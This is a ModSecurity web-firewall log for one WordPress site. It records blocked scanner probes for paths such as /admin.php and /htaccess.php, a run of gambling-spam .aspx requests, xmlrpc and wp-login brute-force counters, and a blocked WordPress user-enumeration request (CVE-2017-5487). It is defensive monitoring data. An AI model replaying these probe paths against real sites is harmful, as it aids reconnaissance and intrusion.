[Sun Mar 22 20:13:15.021587 2026] [:error] [pid 51363:tid 51436] [client 52.139.36.109:56154] [client 52.139.36.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "ab_c21wa9x6OCTRkhl21ZwAAAIc"]
[Sun Mar 22 20:36:01.209410 2026] [:error] [pid 51362:tid 51420] [client 43.166.238.12:57672] [client 43.166.238.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ab_iMcOwPm3DXzTDjUfGGAAAAFM"]
[Sun Mar 22 21:05:37.683965 2026] [:error] [pid 51361:tid 51374] [client 20.119.51.14:14970] [client 20.119.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "ab_pIRXYUsdvKC9YWpX7LwAAAAM"]
[Sun Mar 22 21:05:38.511353 2026] [:error] [pid 51361:tid 51382] [client 20.119.51.14:62860] [client 20.119.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "ab_pIhXYUsdvKC9YWpX7NAAAAAs"]
[Sun Mar 22 21:05:39.343337 2026] [:error] [pid 40039:tid 40053] [client 20.119.51.14:15347] [client 20.119.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "ab_pIx3aDgUJfBYishnB4gAAAQw"]
[Sun Mar 22 21:05:40.168548 2026] [:error] [pid 51361:tid 51388] [client 20.119.51.14:62874] [client 20.119.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wk/index.php"] [unique_id "ab_pJBXYUsdvKC9YWpX7QgAAABA"]
[Sun Mar 22 21:36:11.026959 2026] [:error] [pid 51362:tid 51419] [client 103.139.11.124:25945] [client 103.139.11.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.139.11.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab_wS8OwPm3DXzTDjUffCwAAAFI"]
[Sun Mar 22 21:49:00.884717 2026] [:error] [pid 51363:tid 51441] [client 43.166.134.114:43782] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ab_zTFwa9x6OCTRkhl3KlgAAAIw"]
[Sun Mar 22 21:52:09.270385 2026] [:error] [pid 51361:tid 51387] [client 169.224.21.161:10288] [client 169.224.21.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 169.224.21.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab_0CRXYUsdvKC9YWpUYbgAAAA8"]
[Sun Mar 22 22:11:12.860456 2026] [:error] [pid 30166:tid 30173] [client 103.139.11.124:18536] [client 103.139.11.124] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab_4gLm4_26jKMD0zy0ptQAAAUI"]
[Sun Mar 22 22:12:37.771028 2026] [:error] [pid 51468:tid 51492] [client 103.139.11.124:14175] [client 103.139.11.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.139.11.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab_41U2TppSvA8W5CBSQCwAAANA"]
[Sun Mar 22 22:14:01.308355 2026] [:error] [pid 40039:tid 40044] [client 103.139.11.124:5505] [client 103.139.11.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.139.11.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab_5KR3aDgUJfBYishnUDgAAAQM"]
[Sun Mar 22 22:15:20.721219 2026] [:error] [pid 51468:tid 51477] [client 103.139.11.124:6824] [client 103.139.11.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.139.11.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab_5eE2TppSvA8W5CBSSMwAAAME"]
[Sun Mar 22 22:16:38.895273 2026] [:error] [pid 40039:tid 40060] [client 103.139.11.124:12256] [client 103.139.11.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.139.11.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab_5xh3aDgUJfBYishnUiAAAARM"]
[Sun Mar 22 23:07:46.921347 2026] [:error] [pid 30166:tid 30170] [client 134.122.55.90:61921] [client 134.122.55.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.55.90, incrementing brute counter"] [hostname "www.gigfragments.org"] [uri "/wp-login.php"] [unique_id "acAFwrm4_26jKMD0zy06BgAAAUA"]
[Sun Mar 22 23:07:49.233201 2026] [:error] [pid 51468:tid 51476] [client 134.122.55.90:60180] [client 134.122.55.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.55.90, incrementing brute counter"] [hostname "www.gigfragments.org"] [uri "/wp-login.php"] [unique_id "acAFxU2TppSvA8W5CBSqRAAAAMA"]
[Mon Mar 23 00:59:30.570305 2026] [:error] [pid 20587:tid 20666] [client 20.115.24.110:11193] [client 20.115.24.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "acAf8oByf8r3QAk4VXPj0QAAAJc"]
[Mon Mar 23 00:59:31.424365 2026] [:error] [pid 20587:tid 20651] [client 20.115.24.110:10425] [client 20.115.24.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "acAf84Byf8r3QAk4VXPj1QAAAIg"]
[Mon Mar 23 00:59:32.312013 2026] [:error] [pid 20584:tid 20632] [client 20.115.24.110:10882] [client 20.115.24.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "acAf9CWzr-bD_t6AP_TBlgAAAFA"]
[Mon Mar 23 00:59:33.159326 2026] [:error] [pid 20856:tid 20922] [client 20.115.24.110:10250] [client 20.115.24.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "acAf9cxFtXFVNE-X2-KEzAAAAMM"]
[Mon Mar 23 02:06:52.575490 2026] [:error] [pid 20856:tid 20942] [client 43.157.22.57:33198] [client 43.157.22.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acAvvMxFtXFVNE-X2-KdXgAAANc"]
[Mon Mar 23 02:47:32.716955 2026] [:error] [pid 20856:tid 20926] [client 51.75.119.69:36634] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acA5RMxFtXFVNE-X2-KtWQAAAMc"]
[Mon Mar 23 02:47:34.605261 2026] [:error] [pid 27776:tid 27853] [client 51.75.119.69:45942] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acA5Ro3Eaq7IZ5L-4XVu9QAAAQc"]
[Mon Mar 23 02:47:36.596860 2026] [:error] [pid 20856:tid 20931] [client 51.75.119.69:45950] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "acA5SMxFtXFVNE-X2-KtagAAAMw"]
[Mon Mar 23 02:47:38.549732 2026] [:error] [pid 27776:tid 27848] [client 51.75.119.69:45954] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "acA5So3Eaq7IZ5L-4XVvDgAAAQI"]
[Mon Mar 23 02:47:40.553818 2026] [:error] [pid 20584:tid 20634] [client 51.75.119.69:45970] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "acA5TCWzr-bD_t6AP_TWMAAAAFI"]
[Mon Mar 23 02:47:42.563711 2026] [:error] [pid 27776:tid 27872] [client 51.75.119.69:45982] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "acA5To3Eaq7IZ5L-4XVvKgAAARg"]
[Mon Mar 23 02:47:44.545209 2026] [:error] [pid 20856:tid 20921] [client 51.75.119.69:42912] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "acA5UMxFtXFVNE-X2-KtcgAAAMI"]
[Mon Mar 23 02:47:46.506099 2026] [:error] [pid 20574:tid 20596] [client 51.75.119.69:42928] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "acA5UtdMXEnEZrwyzJkZCAAAAAc"]
[Mon Mar 23 02:47:48.589860 2026] [:error] [pid 20856:tid 20940] [client 51.75.119.69:42942] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "acA5VMxFtXFVNE-X2-KtewAAANU"]
[Mon Mar 23 02:47:50.516846 2026] [:error] [pid 20574:tid 20602] [client 51.75.119.69:42946] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "acA5VtdMXEnEZrwyzJkZDwAAAA0"]
[Mon Mar 23 02:47:52.380942 2026] [:error] [pid 27776:tid 27851] [client 51.75.119.69:42950] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "acA5WI3Eaq7IZ5L-4XVvPgAAAQU"]
[Mon Mar 23 02:47:54.422601 2026] [:error] [pid 20856:tid 20935] [client 51.75.119.69:40438] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "acA5WsxFtXFVNE-X2-KthAAAANA"]
[Mon Mar 23 02:47:56.340653 2026] [:error] [pid 20584:tid 20620] [client 51.75.119.69:40444] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "acA5XCWzr-bD_t6AP_TWRAAAAEQ"]
[Mon Mar 23 02:47:58.404372 2026] [:error] [pid 27776:tid 27850] [client 51.75.119.69:40450] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "acA5Xo3Eaq7IZ5L-4XVvTgAAAQQ"]
[Mon Mar 23 02:48:00.278191 2026] [:error] [pid 27776:tid 27855] [client 51.75.119.69:40462] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "acA5YI3Eaq7IZ5L-4XVvUQAAAQk"]
[Mon Mar 23 02:48:02.221290 2026] [:error] [pid 20587:tid 20656] [client 51.75.119.69:40472] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "acA5YoByf8r3QAk4VXP79AAAAI0"]
[Mon Mar 23 02:48:04.164156 2026] [:error] [pid 20584:tid 20622] [client 51.75.119.69:40486] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "acA5ZCWzr-bD_t6AP_TWTQAAAEY"]
[Mon Mar 23 02:48:06.108459 2026] [:error] [pid 27776:tid 27865] [client 51.75.119.69:37918] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "acA5Zo3Eaq7IZ5L-4XVvVwAAARI"]
[Mon Mar 23 02:48:07.990981 2026] [:error] [pid 20856:tid 20927] [client 51.75.119.69:37928] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "acA5Z8xFtXFVNE-X2-KtlQAAAMg"]
[Mon Mar 23 02:48:09.871961 2026] [:error] [pid 20584:tid 20639] [client 51.75.119.69:37940] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "acA5aSWzr-bD_t6AP_TWWwAAAFc"]
[Mon Mar 23 02:48:11.925367 2026] [:error] [pid 20587:tid 20664] [client 51.75.119.69:37950] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "acA5a4Byf8r3QAk4VXP8BQAAAJU"]
[Mon Mar 23 02:48:13.851056 2026] [:error] [pid 20856:tid 20937] [client 51.75.119.69:37954] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "acA5bcxFtXFVNE-X2-KtpwAAANI"]
[Mon Mar 23 02:48:15.959068 2026] [:error] [pid 20587:tid 20643] [client 51.75.119.69:53364] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "acA5b4Byf8r3QAk4VXP8CgAAAIA"]
[Mon Mar 23 02:48:17.845870 2026] [:error] [pid 20856:tid 20919] [client 51.75.119.69:53380] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "acA5ccxFtXFVNE-X2-KttgAAAMA"]
[Mon Mar 23 02:48:19.807438 2026] [:error] [pid 27776:tid 27860] [client 51.75.119.69:53392] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "acA5c43Eaq7IZ5L-4XVvZQAAAQ0"]
[Mon Mar 23 02:48:21.649956 2026] [:error] [pid 20574:tid 20606] [client 51.75.119.69:53408] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "acA5dddMXEnEZrwyzJkZOAAAABE"]
[Mon Mar 23 02:48:23.709979 2026] [:error] [pid 27776:tid 27851] [client 51.75.119.69:53410] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "acA5d43Eaq7IZ5L-4XVvdgAAAQU"]
[Mon Mar 23 02:48:25.631773 2026] [:error] [pid 20574:tid 20603] [client 51.75.119.69:42324] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "acA5eddMXEnEZrwyzJkZPgAAAA4"]
[Mon Mar 23 02:48:27.518229 2026] [:error] [pid 20584:tid 20626] [client 51.75.119.69:42334] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "acA5eyWzr-bD_t6AP_TWbgAAAEo"]
[Mon Mar 23 02:49:03.700490 2026] [:error] [pid 20574:tid 20599] [client 51.75.119.69:42344] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acA5n9dMXEnEZrwyzJkZdAAAAAo"]
[Mon Mar 23 02:49:05.692504 2026] [:error] [pid 20574:tid 20590] [client 51.75.119.69:41214] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "acA5oddMXEnEZrwyzJkZfQAAAAE"]
[Mon Mar 23 02:49:07.586973 2026] [:error] [pid 20856:tid 20937] [client 51.75.119.69:41216] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "acA5o8xFtXFVNE-X2-KuGgAAANI"]
[Mon Mar 23 02:49:09.618225 2026] [:error] [pid 20574:tid 20602] [client 51.75.119.69:41232] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acA5pddMXEnEZrwyzJkZkwAAAA0"]
